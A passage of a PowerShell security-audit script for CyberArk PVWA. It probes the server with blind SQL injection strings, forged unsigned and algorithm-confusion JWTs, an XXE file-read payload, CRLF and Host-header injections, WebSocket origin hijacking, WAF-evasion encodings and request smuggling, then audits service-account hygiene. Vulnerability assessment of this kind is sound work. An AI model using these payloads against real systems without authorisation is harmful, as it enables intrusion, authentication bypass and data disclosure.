$isValidEndpoint = $true } else { Write-AuditLog "Skipping $($api.Path) - detected soft 404 page" -Level Debug } } if ($isValidEndpoint -and $api.Severity -ne "Info") { Add-Finding -Category "API Security" ` -CISControl "API5" ` -Finding "Legacy API version accessible" ` -Resource $api.Path ` -CurrentValue "$($api.Version) - Active" ` -ExpectedValue "Only current API version" ` -Recommendation "Disable legacy API endpoints" ` -Severity $api.Severity } } catch { } } } #====================================================================== #====================================================================== function Test-TimingAttacks { <# .SYNOPSIS Tests for timing-based vulnerabilities that could leak information #> Write-AuditLog "Running timing attack analysis..." -Level Info # Test for timing differences in authentication $validUsernames = @("Administrator", "admin", "Auditor") $invalidUsernames = @("nonexistent_user_12345", "definitely_not_a_real_user") $validTimes = @() $invalidTimes = @() foreach ($username in $validUsernames) { try { $body = @{ username = $username; password = "timing_test_password" } | ConvertTo-Json $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() [void](Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/Auth/CyberArk/Logon" -Method POST -Body $body -ContentType "application/json" -TimeoutSec 30 -UseBasicParsing -ErrorAction SilentlyContinue) $stopwatch.Stop() $validTimes += $stopwatch.ElapsedMilliseconds Add-RequestDelay } catch { $stopwatch.Stop() $validTimes += $stopwatch.ElapsedMilliseconds } } foreach ($username in $invalidUsernames) { try { $body = @{ username = $username; password = "timing_test_password" } | ConvertTo-Json $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() [void](Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/Auth/CyberArk/Logon" -Method POST -Body $body -ContentType "application/json" -TimeoutSec 30 -UseBasicParsing -ErrorAction SilentlyContinue) $stopwatch.Stop() $invalidTimes += $stopwatch.ElapsedMilliseconds Add-RequestDelay } catch { $stopwatch.Stop() $invalidTimes += $stopwatch.ElapsedMilliseconds } } if ($validTimes.Count -gt 0 -and $invalidTimes.Count -gt 0) { $validAvg = ($validTimes | Measure-Object -Average).Average $invalidAvg = ($invalidTimes | Measure-Object -Average).Average $timeDiff = [Math]::Abs($validAvg - $invalidAvg) if ($timeDiff -gt $script:Config.TimingVarianceThresholdMs) { Add-Finding -Category "Timing Attack" ` -CISControl "API1" ` -Finding "Potential timing-based user enumeration" ` -Resource "Authentication Endpoint" ` -CurrentValue "Valid user avg: ${validAvg}ms, Invalid user avg: ${invalidAvg}ms (diff: ${timeDiff}ms)" ` -ExpectedValue "Consistent response times regardless of user validity" ` -Recommendation "Implement constant-time comparison for authentication" ` -Severity "Medium" } else { Add-Finding -Category "Timing Attack" ` -CISControl "API1" ` -Finding "Authentication timing appears consistent" ` -Resource "Authentication Endpoint" ` -CurrentValue "Time variance: ${timeDiff}ms (within threshold)" ` -ExpectedValue "Consistent response times" ` -Severity "Info" ` -Status "Pass" } } # Test for blind SQL injection via timing if (-not $OPSECMode) { $blindSqlPayloads = @( "/PasswordVault/api/Accounts?search=test';WAITFOR DELAY '0:0:3'--", "/PasswordVault/api/Accounts?search=test' AND SLEEP(3)--", "/PasswordVault/api/Accounts?search=test' AND pg_sleep(3)--" ) foreach ($payload in $blindSqlPayloads) { try { $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() [void](Invoke-WebRequest -Uri "$PVWA$payload" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue) $stopwatch.Stop() if ($stopwatch.ElapsedMilliseconds -gt 3000) { Add-Finding -Category "Timing Attack" ` -CISControl "API2" ` -Finding "Potential blind SQL injection via timing" ` -Resource $payload ` -CurrentValue "Response delayed by $($stopwatch.ElapsedMilliseconds)ms" ` -ExpectedValue "Consistent fast response" ` -Recommendation "Implement parameterized queries and input validation" ` -Severity "Critical" } Add-RequestDelay } catch { } } } } function Test-JWTSecurity { <# .SYNOPSIS Tests for JWT token vulnerabilities including none algorithm, weak signing, etc. #> Write-AuditLog "Testing JWT/OAuth2 security..." -Level Info # Check for JWT endpoints $jwtEndpoints = @( "/PasswordVault/api/oauth2/token", "/PasswordVault/api/Auth/OIDC/Logon", "/PasswordVault/api/Auth/SAML/Logon", "/PasswordVault/WebServices/auth/oauth2/token", "/.well-known/openid-configuration", "/PasswordVault/.well-known/openid-configuration" ) foreach ($endpoint in $jwtEndpoints) { try { $response = Invoke-OPSECWebRequest -Uri "$PVWA$endpoint" -Method GET -TimeoutSec 10 if ($response.Success -and $response.StatusCode -in @(200, 401, 400)) { Add-Finding -Category "JWT Security" ` -CISControl "API1" ` -Finding "JWT/OAuth2 endpoint detected" ` -Resource $endpoint ` -CurrentValue "Endpoint responds (HTTP $($response.StatusCode))" ` -ExpectedValue "JWT endpoints secured" ` -Severity "Info" ` -Status "Pass" # If OIDC config, check for security issues if ($endpoint -match "openid-configuration" -and $response.Content) { $oidcConfig = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue if ($oidcConfig) { # Check for insecure algorithms if ($oidcConfig.id_token_signing_alg_values_supported -contains "none" -or $oidcConfig.id_token_signing_alg_values_supported -contains "HS256") { Add-Finding -Category "JWT Security" ` -CISControl "API1" ` -Finding "Weak JWT signing algorithms supported" ` -Resource $endpoint ` -CurrentValue "Algorithms: $($oidcConfig.id_token_signing_alg_values_supported -join ', ')" ` -ExpectedValue "RS256, ES256 only" ` -Recommendation "Disable 'none' and HS256 algorithms" ` -Severity "High" } } } } } catch { } } # Test for JWT none algorithm bypass $noneAlgToken = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJWYXVsdEFkbWluIiwiaWF0IjoxNzA1MDAwMDAwfQ." try { $headers = @{ "Authorization" = "Bearer $noneAlgToken" } $response = Invoke-OPSECWebRequest -Uri "$PVWA/PasswordVault/api/Users" -Method GET -Headers $headers -TimeoutSec 10 if ($response.Success -and $response.StatusCode -eq 200) { Add-Finding -Category "JWT Security" ` -CISControl "API1" ` -Finding "JWT 'none' algorithm bypass accepted" ` -Resource "API Authorization" ` -CurrentValue "Unsigned JWT token accepted" ` -ExpectedValue "Only signed tokens accepted" ` -Recommendation "Reject tokens with 'none' algorithm" ` -Severity "Critical" } } catch { } # Test for JWT key confusion (RS256 -> HS256) $testToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJWYXVsdEFkbWluIn0.test" try { $headers = @{ "Authorization" = "Bearer $testToken" } $response = Invoke-OPSECWebRequest -Uri "$PVWA/PasswordVault/api/Users" -Method GET -Headers $headers -TimeoutSec 10 # Check response for signs of algorithm confusion if ($response.StatusCode -notin @(401, 403)) { Add-Finding -Category "JWT Security" ` -CISControl "API1" ` -Finding "Potential JWT algorithm confusion vulnerability" ` -Resource "API Authorization" ` -CurrentValue "Unexpected response to crafted JWT" ` -ExpectedValue "401/403 for invalid tokens" ` -Recommendation "Explicitly validate JWT algorithm matches expected" ` -Severity "High" } } catch { } } function Test-WebSocketSecurity { <# .SYNOPSIS Tests for WebSocket endpoint discovery and security issues #> Write-AuditLog "Testing WebSocket security..." -Level Info # Common WebSocket endpoints $wsEndpoints = @( "/PasswordVault/SignalR", "/PasswordVault/signalr/hubs", "/PasswordVault/signalr/negotiate", "/PasswordVault/ws", "/PasswordVault/websocket", "/PasswordVault/socket.io/", "/PasswordVault/live", "/guacamole/websocket-tunnel" ) foreach ($endpoint in $wsEndpoints) { try { # Test HTTP upgrade request $headers = @{ "Connection" = "Upgrade" "Upgrade" = "websocket" "Sec-WebSocket-Version" = "13" "Sec-WebSocket-Key" = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((New-Guid).ToString().Substring(0, 16))) } $response = Invoke-OPSECWebRequest -Uri "$PVWA$endpoint" -Method GET -Headers $headers -TimeoutSec 10 if ($response.StatusCode -eq 101 -or ($response.Headers -and $response.Headers["Upgrade"] -eq "websocket")) { Add-Finding -Category "WebSocket Security" ` -CISControl "NET1" ` -Finding "WebSocket endpoint discovered" ` -Resource $endpoint ` -CurrentValue "WebSocket upgrade successful" ` -ExpectedValue "WebSocket endpoints documented and secured" ` -Severity "Info" ` -Status "Pass" # Check for CSWSH (Cross-Site WebSocket Hijacking) $cswshHeaders = @{ "Connection" = "Upgrade" "Upgrade" = "websocket" "Sec-WebSocket-Version" = "13" "Sec-WebSocket-Key" = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((New-Guid).ToString().Substring(0, 16))) "Origin" = "https://evil-attacker.com" } $cswshResponse = Invoke-OPSECWebRequest -Uri "$PVWA$endpoint" -Method GET -Headers $cswshHeaders -TimeoutSec 10 if ($cswshResponse.StatusCode -eq 101) { Add-Finding -Category "WebSocket Security" ` -CISControl "BB6" ` -Finding "Cross-Site WebSocket Hijacking (CSWSH) possible" ` -Resource $endpoint ` -CurrentValue "Accepts connections from arbitrary origins" ` -ExpectedValue "Origin validation required" ` -Recommendation "Implement strict Origin header validation for WebSocket connections" ` -Severity "High" } } elseif ($response.StatusCode -eq 200) { Add-Finding -Category "WebSocket Security" ` -CISControl "NET1" ` -Finding "Potential WebSocket/SignalR endpoint" ` -Resource $endpoint ` -CurrentValue "Endpoint responds (HTTP 200)" ` -ExpectedValue "Secured real-time endpoints" ` -Severity "Low" } } catch { } } } function Test-WAFEvasion { <# .SYNOPSIS Tests WAF/IDS bypass techniques to identify potential evasion vectors #> Write-AuditLog "Testing WAF/IDS evasion vectors..." -Level Info $basePayloads = @( @{ Type = "XSS"; Payload = "<script>alert(1)</script>" }, @{ Type = "SQLi"; Payload = "' OR '1'='1" }, @{ Type = "PathTraversal"; Payload = "../../../etc/passwd" }, @{ Type = "CommandInjection"; Payload = "; id" } ) $evasionTechniques = @( @{ Name = "DoubleURLEncode"; Encode = { param($s) [System.Web.HttpUtility]::UrlEncode([System.Web.HttpUtility]::UrlEncode($s)) } }, @{ Name = "UnicodeEncode"; Encode = { param($s) ($s.ToCharArray() | ForEach-Object { "%u00" + [System.Convert]::ToString([int][char]$_, 16).PadLeft(2, '0') }) -join '' } }, @{ Name = "MixedCase"; Encode = { param($s) -join ($s.ToCharArray() | ForEach-Object { if ((Get-Random -Maximum 2) -eq 0) { $_.ToString().ToUpper() } else { $_.ToString().ToLower() } }) } }, @{ Name = "NullByteInjection"; Encode = { param($s) $s + "%00" } }, @{ Name = "TabNewlineObfuscation"; Encode = { param($s) $s -replace ' ', '%09' } } ) $bypassCount = 0 $blockedCount = 0 foreach ($basePayload in $basePayloads) { foreach ($technique in $evasionTechniques) { try { $encodedPayload = & $technique.Encode $basePayload.Payload $testUri = "$PVWA/PasswordVault/api/Accounts?search=$encodedPayload" $response = Invoke-OPSECWebRequest -Uri $testUri -Method GET -TimeoutSec 10 # Check if payload bypassed WAF if ($response.StatusCode -notin @(403, 406, 429, 503)) { if ($response.Content -match $basePayload.Payload -or $response.Content -match "error|exception|syntax") { $bypassCount++ Add-Finding -Category "WAF Evasion" ` -CISControl "BB11" ` -Finding "WAF bypass via $($technique.Name) encoding" ` -Resource "$($basePayload.Type) payload" ` -CurrentValue "Encoded payload processed (not blocked)" ` -ExpectedValue "Malicious payloads blocked by WAF" ` -Recommendation "Enhance WAF rules to detect encoded attack patterns" ` -Severity "High" } } else { $blockedCount++ } } catch { } } } if ($bypassCount -eq 0 -and $blockedCount -gt 0) { Add-Finding -Category "WAF Evasion" ` -CISControl "BB11" ` -Finding "WAF appears to block evasion attempts" ` -Resource "WAF Configuration" ` -CurrentValue "$blockedCount payloads blocked" ` -ExpectedValue "Comprehensive WAF protection" ` -Severity "Info" ` -Status "Pass" } # Test HTTP Parameter Pollution $hppPayloads = @( "/PasswordVault/api/Accounts?id=1&id=2", "/PasswordVault/api/Accounts?search=safe&search=admin", "/PasswordVault/api/Users?username=admin&username=test" ) foreach ($payload in $hppPayloads) { try { $response = Invoke-OPSECWebRequest -Uri "$PVWA$payload" -Method GET -TimeoutSec 10 if ($response.Success -and $response.StatusCode -eq 200) { Add-Finding -Category "WAF Evasion" ` -CISControl "API2" ` -Finding "HTTP Parameter Pollution accepted" ` -Resource $payload ` -CurrentValue "Duplicate parameters processed" ` -ExpectedValue "Duplicate parameters rejected or single value used" ` -Recommendation "Implement strict parameter parsing and validation" ` -Severity "Low" } } catch { } } # Test HTTP Request Smuggling indicators try { $smuggleHeaders = @{ "Transfer-Encoding" = "chunked" "Content-Length" = "0" } $response = Invoke-OPSECWebRequest -Uri "$PVWA/PasswordVault/" -Method POST -Headers $smuggleHeaders -Body "0`r`n`r`nG" -TimeoutSec 10 if ($response.StatusCode -notin @(400, 411, 501)) { Add-Finding -Category "WAF Evasion" ` -CISControl "API2" ` -Finding "Potential HTTP Request Smuggling vector" ` -Resource "HTTP Parser" ` -CurrentValue "Conflicting Content-Length/Transfer-Encoding accepted" ` -ExpectedValue "Request rejected" ` -Recommendation "Configure web server to reject ambiguous requests" ` -Severity "High" } } catch { } } function Test-AdvancedSecurityChecks { <# .SYNOPSIS Orchestrates all advanced red team security checks #> Write-AuditLog "Running Advanced Red Team Security Checks..." -Level Info if ($IncludeTimingAttacks -or $OPSECMode -eq $false) { try { Test-TimingAttacks } catch { Add-SkippedCheck -Category "Timing Attack" -CISControl "API1" ` -CheckName "Timing Attack Analysis" ` -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeJWTTests) { try { Test-JWTSecurity } catch { Add-SkippedCheck -Category "JWT Security" -CISControl "API1" ` -CheckName "JWT Security Testing" ` -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeWebSocketTests) { try { Test-WebSocketSecurity } catch { Add-SkippedCheck -Category "WebSocket Security" -CISControl "NET1" ` -CheckName "WebSocket Security Testing" ` -Reason "Error: $($_.Exception.Message)" -Type "Error" } } if ($IncludeWAFEvasion -and -not $OPSECMode) { try { Test-WAFEvasion } catch { Add-SkippedCheck -Category "WAF Evasion" -CISControl "BB11" ` -CheckName "WAF Evasion Testing" ` -Reason "Error: $($_.Exception.Message)" -Type "Error" } } elseif ($IncludeWAFEvasion -and $OPSECMode) { Add-SkippedCheck -Category "WAF Evasion" -CISControl "BB11" ` -CheckName "WAF Evasion Testing" ` -Reason "Skipped in OPSEC mode - too noisy" -Type "Skipped" } } function Test-ComponentVersions { Write-AuditLog "Detecting CyberArk component versions..." -Level Info try { # Try to detect version from PVWA response $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue # Check for version in various locations $versionPatterns = @( 'version["\s:]+([0-9]+\.[0-9]+\.[0-9]+)', 'PVWA["\s:]+([0-9]+\.[0-9]+)', 'CyberArk["\s:]+([0-9]+\.[0-9]+)', 'build["\s:]+([0-9]+)' ) foreach ($pattern in $versionPatterns) { if ($response.Content -match $pattern) { $detectedVersion = $matches[1] Write-AuditLog "Detected potential version: $detectedVersion" -Level Info Add-Finding -Category "Version Detection" ` -CISControl "BB2" ` -Finding "CyberArk version detected" ` -Resource "PVWA" ` -CurrentValue "Version: $detectedVersion" ` -ExpectedValue "Version information not disclosed" ` -Recommendation "Review version for known CVEs; consider hiding version info" ` -Severity "Info" ` -Status "Pass" break } } # Check via API try { $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/server" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop $body = $response.Content # Skip if this is a baseline catch-all response (false positive) if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping /api/server - response matches baseline catch-all page" -Level Debug } # Skip if this is an HTML error page (CloudFront error, login page, etc.) elseif ($body -match "<!DOCTYPE|<html|<head|<body|502 ERROR|CloudFront|Lambda function") { Write-AuditLog "Skipping /api/server - response is HTML error page" -Level Debug } # Only flag if response contains actual server info (JSON with server properties) elseif ($body -match '"ServerID"|"ServerName"|"ServerId"|"Version"|"ApplicationName"' -and $body -match '^\s*\{') { Add-Finding -Category "Version Detection" ` -CISControl "BB2" ` -Finding "Server information endpoint accessible" ` -Resource "$PVWA/PasswordVault/api/server" ` -CurrentValue "Server info disclosed" ` -ExpectedValue "Endpoint restricted" ` -Recommendation "Restrict access to server information endpoint" ` -Severity "Medium" } } catch { # Expected - endpoint not accessible (401, 403, 404, 502, etc.) Write-AuditLog "Server info endpoint not accessible: $($_.Exception.Message)" -Level Debug } } catch { } # Check local installation if running on CyberArk server $installPaths = @( "C:\Program Files (x86)\CyberArk\Password Manager\", "C:\Program Files (x86)\CyberArk\PSM\", "C:\Program Files (x86)\CyberArk\PVWA\" ) foreach ($path in $installPaths) { if (Test-Path $path -ErrorAction SilentlyContinue) { try { $exeFiles = Get-ChildItem -Path $path -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1 if ($exeFiles) { $version = (Get-Item $exeFiles.FullName).VersionInfo.FileVersion if ($version) { Write-AuditLog "Detected local component version: $version at $path" -Level Info # Check against known vulnerable versions $vulnerableVersions = @{ "10.9" = "CVE-2021-31796" "10.10" = "Multiple CVEs" "11.0" = "TP3-Log4Shell (if Java components)" "11.1" = "Check for known vulnerabilities" } foreach ($vulnVersion in $vulnerableVersions.Keys) { if ($version -like "$vulnVersion*") { Add-Finding -Category "Version Security" ` -CISControl "BB11" ` -Finding "Potentially vulnerable CyberArk version" ` -Resource $path ` -CurrentValue "Version $version" ` -ExpectedValue "Latest patched version" ` -Recommendation "Check for patches: $($vulnerableVersions[$vulnVersion])" ` -Severity "High" } } } } } catch { } } } } function Test-SessionSecurity { Write-AuditLog "Testing session security mechanisms..." -Level Info # Test session fixation try { [void](Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -UseBasicParsing -SessionVariable webSession -TimeoutSec 10 -ErrorAction SilentlyContinue) $preAuthCookies = @() foreach ($cookie in $webSession.Cookies.GetCookies($PVWA)) { $preAuthCookies += "$($cookie.Name)=$($cookie.Value)" } # After "authentication" (simulated), check if session ID changes Add-Finding -Category "Session Security" ` -CISControl "V7.2" ` -Finding "Session tokens set before authentication" ` -Resource "PVWA Session" ` -CurrentValue "Pre-auth cookies: $($preAuthCookies.Count)" ` -ExpectedValue "Session regenerated after auth (verify manually)" ` -Recommendation "Verify session ID regeneration after authentication" ` -Severity "Info" ` -Status "Pass" } catch { } # Test concurrent session handling Add-Finding -Category "Session Security" ` -CISControl "V7.3" ` -Finding "Concurrent session limit (manual verification required)" ` -Resource "PVWA Session Management" ` -CurrentValue "Manual test required" ` -ExpectedValue "Concurrent sessions limited or detected" ` -Recommendation "Verify concurrent session limits are enforced" ` -Severity "Info" ` -Status "Pass" } function Test-HeaderInjection { Write-AuditLog "Testing for header injection vulnerabilities..." -Level Info # Host header injection $hostHeaders = @( @{ Host = "evil.com"; XForwardedHost = $null }, @{ Host = $null; XForwardedHost = "evil.com" }, @{ Host = "evil.com:443"; XForwardedHost = $null } ) foreach ($headerSet in $hostHeaders) { try { $headers = @{} if ($headerSet.Host) { $headers["Host"] = $headerSet.Host } if ($headerSet.XForwardedHost) { $headers["X-Forwarded-Host"] = $headerSet.XForwardedHost } $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -Headers $headers -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.Content -match "evil\.com") { Add-Finding -Category "Header Security" ` -CISControl "V7.1" ` -Finding "Host header injection vulnerability" ` -Resource "PVWA" ` -CurrentValue "Malicious host reflected in response" ` -ExpectedValue "Host header validated" ` -Recommendation "Validate and whitelist allowed Host headers" ` -Severity "High" } } catch { } } # CRLF Injection $crlfPayloads = @( "/PasswordVault/%0d%0aSet-Cookie:%20malicious=true", "/PasswordVault/?redirect=%0d%0aLocation:%20http://evil.com" ) foreach ($payload in $crlfPayloads) { try { $response = Invoke-WebRequest -Uri "$PVWA$payload" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Headers["Set-Cookie"] -match "malicious" -or $response.Headers["Location"] -match "evil\.com") { Add-Finding -Category "Header Security" ` -CISControl "V7.1" ` -Finding "CRLF injection vulnerability" ` -Resource $payload ` -CurrentValue "Headers injected via CRLF" ` -ExpectedValue "CRLF sequences filtered" ` -Recommendation "Sanitize input to prevent CRLF injection" ` -Severity "High" } } catch { } } } function Test-XXEVulnerability { Write-AuditLog "Testing for XXE vulnerabilities in SOAP endpoints..." -Level Info $soapEndpoints = @( "/PasswordVault/WebServices/PIMServices.svc", "/PasswordVault/WebServices/auth/CyberArk/CyberArkAuthenticationService.svc" ) $xxePayload = @" <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <test>&xxe;</test> </soap:Body> </soap:Envelope> "@ foreach ($endpoint in $soapEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $xxePayload -ContentType "text/xml" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.Content -match "\[fonts\]|\[extensions\]|for 16-bit app support") { Add-Finding -Category "XXE Vulnerability" ` -CISControl "API2" ` -Finding "XXE vulnerability in SOAP endpoint" ` -Resource $endpoint ` -CurrentValue "External entity processed" ` -ExpectedValue "XXE processing disabled" ` -Recommendation "Disable external entity processing in XML parser" ` -Severity "Critical" } } catch { } } } #====================================================================== # MACHINE IDENTITY SECURITY CHECKS (MID1-MID6) #====================================================================== function Test-MachineIdentitySecurity { Write-AuditLog "Auditing Machine Identity Security..." -Level Info Test-ServiceAccountEnumeration Test-MachineIdentityRotation Test-OverPrivilegedServiceAccounts Test-CertificateAuthentication Test-AppIDSecurity Test-StaleMachineIdentities } function Test-ServiceAccountEnumeration { Write-AuditLog "Enumerating service accounts and machine identities (MID1)..." -Level Info # Get all accounts and filter for service accounts $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID1" ` -CheckName "Service Account Enumeration" ` -Reason "Could not retrieve accounts from API" ` -Type "Error" return } $serviceAccountPatterns = @("svc_", "service", "app_", "batch", "daemon", "system", "_sa", "svc-") $serviceAccounts = @() foreach ($account in $accounts.value) { $accountName = $account.name.ToLower() $userName = if ($account.userName) { $account.userName.ToLower() } else { "" } foreach ($pattern in $serviceAccountPatterns) { if ($accountName -match $pattern -or $userName -match $pattern) { $serviceAccounts += $account break } } } $script:AuditStats.ServiceAccountsFound = $serviceAccounts.Count if ($serviceAccounts.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID1" ` -Finding "Service accounts identified in vault" ` -Resource "Service Account Inventory" ` -CurrentValue "$($serviceAccounts.Count) service accounts found" ` -ExpectedValue "All service accounts should be reviewed" ` -Recommendation "Review service account privileges and ensure proper lifecycle management" ` -Severity "Info" ` -Status "Pass" } # Check for machine identities in users $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" if ($users) { $machineUsers = $users.Users | Where-Object { $_.userType -eq "ServiceUser" -or $_.source -eq "CyberArk" -and $_.userName -match "svc_|app_|system" } if ($machineUsers.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID1" ` -Finding "Machine identity users found" ` -Resource "User Accounts" ` -CurrentValue "$($machineUsers.Count) machine/service users" ` -ExpectedValue "Machine identities documented and reviewed" ` -Recommendation "Ensure all machine identities follow least privilege principles" ` -Severity "Info" ` -Status "Pass" } } } function Test-MachineIdentityRotation { Write-AuditLog "Checking machine identity password rotation (MID2)..." -Level Info $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID2" ` -CheckName "Machine Identity Rotation" ` -Reason "Could not retrieve accounts from API" ` -Type "Error" return } $serviceAccountPatterns = @("svc_", "service", "app_", "batch", "daemon", "system", "_sa") $noRotationAccounts = @() $stalePasswordAccounts = @() $threshold = (Get-Date).AddDays(-$script:Config.MaxSecretAgeDays) foreach ($account in $accounts.value) { $accountName = $account.name.ToLower() $isServiceAccount = $false foreach ($pattern in $serviceAccountPatterns) { if ($accountName -match $pattern) { $isServiceAccount = $true break } } if ($isServiceAccount) { # Check if automatic management is disabled if ($account.secretManagement.automaticManagementEnabled -eq $false) { $noRotationAccounts += $account.name } # Check password age if ($account.secretManagement.lastModifiedTime) { $lastModified = [DateTime]::Parse($account.secretManagement.lastModifiedTime) if ($lastModified -lt $threshold) { $stalePasswordAccounts += @{ Name = $account.name LastModified = $lastModified Age = ((Get-Date) - $lastModified).Days } } } } } if ($noRotationAccounts.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID2" ` -Finding "Service accounts without automatic password rotation" ` -Resource "Password Rotation Configuration" ` -CurrentValue "$($noRotationAccounts.Count) accounts without rotation" ` -ExpectedValue "All service accounts with automatic rotation" ` -Recommendation "Enable automatic password management for service accounts" ` -Severity "High" } if ($stalePasswordAccounts.Count -gt 0) { $oldest = ($stalePasswordAccounts | Sort-Object Age -Descending | Select-Object -First 1) Add-Finding -Category "Machine Identity" ` -CISControl "MID2" ` -Finding "Service accounts with stale passwords" ` -Resource "Password Age Analysis" ` -CurrentValue "$($stalePasswordAccounts.Count) accounts (oldest: $($oldest.Age) days)" ` -ExpectedValue "Passwords rotated within $($script:Config.MaxSecretAgeDays) days" ` -Recommendation "Rotate passwords for accounts exceeding age threshold" ` -Severity "Medium" } } function Test-OverPrivilegedServiceAccounts { Write-AuditLog "Checking for over-privileged service accounts (MID3)..." -Level Info $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if (-not $safes) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID3" ` -CheckName "Service Account Privileges" ` -Reason "Could not retrieve safes from API" ` -Type "Error" return } $serviceAccountPatterns = @("svc_", "service", "app_", "batch", "system", "_sa") $serviceAccountAccess = @{} foreach ($safe in $safes.value) { $safeName = $safe.safeName # Skip system safes if ($safeName -match "^(System|VaultInternal|Notification|PVWAConfig)") { continue } $members = Invoke-CyberArkAPI -Endpoint "/Safes/$safeName/Members" if ($members -and $members.value) { foreach ($member in $members.value) { $memberName = $member.memberName.ToLower() foreach ($pattern in $serviceAccountPatterns) { if ($memberName -match $pattern) { if (-not $serviceAccountAccess.ContainsKey($member.memberName)) { $serviceAccountAccess[$member.memberName] = @{ Safes = @() Permissions = @() } } $serviceAccountAccess[$member.memberName].Safes += $safeName # Check for elevated permissions if ($member.permissions.ManageSafe -or $member.permissions.ManageSafeMembers -or $member.permissions.DeleteAccounts) { $serviceAccountAccess[$member.memberName].Permissions += "Elevated" } break } } } } } # Find over-privileged accounts $overPrivileged = $serviceAccountAccess.GetEnumerator() | Where-Object { $_.Value.Safes.Count -gt $script:Config.MaxServiceAccountSafeMemberships -or $_.Value.Permissions -contains "Elevated" } if ($overPrivileged.Count -gt 0) { foreach ($account in $overPrivileged) { $reason = if ($account.Value.Safes.Count -gt $script:Config.MaxServiceAccountSafeMemberships) { "Access to $($account.Value.Safes.Count) safes (threshold: $($script:Config.MaxServiceAccountSafeMemberships))" } else { "Has elevated permissions (ManageSafe/ManageSafeMembers/DeleteAccounts)" } Add-Finding -Category "Machine Identity" ` -CISControl "MID3" ` -Finding "Over-privileged service account detected" ` -Resource $account.Key ` -CurrentValue $reason ` -ExpectedValue "Least privilege access only" ` -Recommendation "Review and reduce service account permissions" ` -Severity "High" } } } function Test-CertificateAuthentication { Write-AuditLog "Checking certificate-based authentication configuration (MID4)..." -Level Info # Check authentication methods configuration $authMethods = Invoke-CyberArkAPI -Endpoint "/Configuration/AuthenticationMethods" if ($authMethods) { $certAuth = $authMethods | Where-Object { $_.id -match "cert|pki|x509" } if (-not $certAuth) { Add-Finding -Category "Machine Identity" ` -CISControl "MID4" ` -Finding "Certificate-based authentication not configured" ` -Resource "Authentication Methods" ` -CurrentValue "No certificate authentication found" ` -ExpectedValue "Certificate authentication available for machine identities" ` -Recommendation "Consider implementing certificate-based authentication for machine identities" ` -Severity "Medium" } } # Check for certificate-based platforms $platforms = Invoke-CyberArkAPI -Endpoint "/Platforms" if ($platforms) { $certPlatforms = $platforms.Platforms | Where-Object { $_.general.platformType -match "cert|ssh.*key" } if ($certPlatforms) { Add-Finding -Category "Machine Identity" ` -CISControl "MID4" ` -Finding "Certificate/Key platforms configured" ` -Resource "Platforms" ` -CurrentValue "$($certPlatforms.Count) certificate/key platforms" ` -ExpectedValue "Certificate platforms properly configured" ` -Recommendation "Ensure certificate platforms have proper lifecycle management" ` -Severity "Info" ` -Status "Pass" } } } function Test-AppIDSecurity { Write-AuditLog "Validating AppID security configuration (MID5)..." -Level Info # Try to get Applications (AAM/CCP configuration) $applications = Invoke-CyberArkAPI -Endpoint "/Applications" if (-not $applications) { # Try legacy endpoint $applications = Invoke-CyberArkAPI -Endpoint "/WebServices/PIMServices.svc/Applications" } if (-not $applications) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID5" ` -CheckName "AppID Security" ` -Reason "Applications endpoint not accessible - AAM/CCP may not be deployed" ` -Type "NotApplicable" return } $weakAppIDs = @() $noAllowedMachines = @() foreach ($app in $applications.Application) { $appId = $app.AppID # Get authentication details $appAuth = Invoke-CyberArkAPI -Endpoint "/Applications/$appId/Authentications" if ($appAuth) { $authMethods = $appAuth.authentication | Measure-Object | Select-Object -ExpandProperty Count # Check for weak authentication if ($authMethods -lt $script:Config.MinAppIDAuthMethods) { $weakAppIDs += $appId } # Check for allowed machines $machineAuth = $appAuth.authentication | Where-Object { $_.AuthType -eq "machineAddress" } if (-not $machineAuth -and $script:Config.RequireAllowedMachines) { $noAllowedMachines += $appId } } } if ($weakAppIDs.Count -gt 0) { 